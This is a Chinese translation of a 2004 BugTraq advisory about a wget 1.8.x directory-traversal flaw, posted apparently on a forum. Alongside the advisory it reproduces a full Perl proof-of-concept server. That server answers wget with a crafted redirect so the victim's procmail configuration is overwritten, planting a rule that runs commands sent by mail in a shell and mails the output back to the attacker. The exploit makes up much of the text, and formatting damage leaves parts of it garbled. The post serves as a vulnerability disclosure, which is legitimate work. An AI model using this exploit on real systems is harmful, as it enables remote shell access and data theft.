注册
登录
本人翻译 小花 QQ：56111981 翻译水平简陋，错误之处请指出 译自 BugTraq 列表日期 2004-12-09 概要：程序： wget版本： 1.8.x或更低运行平台：Linux,部分POSIX，其他未知测试：1.8.1(测试系统Debian Woody)漏洞简述：任意文件覆盖/添加/创建利用：远程或者本地作者： Jan Minar 关于wget GNU wget 是一款免费软件包，用HTTP，HTTPS，FTP等协议来下载文件，这些都是应用非常广泛的协议。他是LINUX系统集成的一款标准HTTP下载软件，是一款非交互的命令行工具。 漏洞： (0) 程序的简陋用目前维护人员的话讲："它的代码BUG很多，注释又少，很难理解，结构非常模糊。"它迫切需要重新设计并改写。 wget有很多命令行参数是有问题的。 (1) wget程序不知道那个文件它有权限写wget简单的认为当前目录都是它的猎物，它将高兴的向任意文件写入内容。恶意的HTML文件将引导它覆盖系统重要文件。比如：$ cd /home/user$ wget http://localhost/wgettrap.bashrc -> .bashrc (3)wget打印控制字符到终端设备恶意HTTP响应能够覆盖部分终端，导致用户无法得到任何提示或者错误，以至用户认为错误根本不重要。 补丁：目前还没有补丁 解决方案：1.不要用 和wget 有关的程序/脚本2.用类似pavuk, axel, or ncftpget这些程序替代wget3.用-o和-O选项 漏洞发现过程：这个问题我们几个月前已经发现。我们和Debian安全小组在2004-10-03联系，没有回应，以后我们没再联系他。几天前，有人发现漏洞并公布。 测试程序：["wgettrap.poc" (text/plain)] #!/usr/bin/perl -W# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability## Copyright 2004 Jan Min谩艡 (jjminar fastmail fm)# License: Public Domain## When wget connects to us, we send it a HTTP redirect constructed so that wget# wget will connect the second time, it will be attempting to override# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'# 8-)). use POSIX qw(strftime); # This is our scheme/host/port$server = "http://localhost:31340";# Use this + DNS poisoning with wget 1.9 & CVS#$server = "http://.."; # Wanna know who got infected? #$log = "/dev/pts/1"; # The filename we will try to overwrite on the target system$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored."; ############### Payload #########################################$email = 'your@mailbox';$password = 'Pmrpuf ner cevzvgvirf';$payload = <:0c| mail -s 'Wgettrap mail copy' $email:0* ^X-Wgettrap-Command: shell* ^X-Wgettrap-Password: $password| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'EOPchomp $payload;############### Payload ######################################### # A simple directory traversal, for greater effect$trick = "/.." . "%2f.." x 40; open LOG, ">$log" if $log; while(){ print LOG $_ if $log; if (/\Q$trick$filename\E/) { #if (/%2f/) { # We see the filename, so this is the second time # they're here. Time to feed the sploit. $second++; } elsif (/^Range: bytes=\(33\)-/) { # Appending goes like this: # (1) Tell'em what you're gonna tell'em # (2) Then tell'em just a half # (3) Close it # (4) Wait # (5) They're comin' back, with wget -c # (6) Tell'em the sploit # (7) Close again # (8) Wtf? They're comin' back with wget -c again # (9) Tell'em the rest... # (10) ... enjoying the backdoor at the same time print LOG "File if $1 bytes long\n" if $log; } elsif (/^\r?$/) { # The HTTP headers are over. Let's do it! $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime); if (!$second) { # Print the payload print <HTTP/1.1 301 Moved Permanently\rDate: $date\rServer: wgettrap 1.1\rAccept-Ranges: bytes\rLocation: $server$trick$filename\rContent-Length: 43\rConnection: close\rContent-Type: text/html\r\r\rEOT } else { # Print the redirection print <HTTP/1.1 200 OK\rDate: $date\rServer: wgettrap 1.1\rAccept-Ranges: bytes\rContent-Length: 25\rConnection: close\rContent-Type: text/plain\r\r$payloadEOT } exit 0; } 数字签名： -----BEGIN PGP SIGNATURE-----Version: GnuPG v1.0.6 (GNU/Linux)Comment: For info see http://www.gnupg.org iD8DBQFBuBd++uczK20Fa5cRAkPDAJ9Pei45ZikiXw9uV+gZgNbR8H20+ACfWnB2+mhl+IoTT0DnZ5lHSd3EiLE==b7KN-----END PGP SIGNATURE----- --BwCQnh7xodEAoBMC-- |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
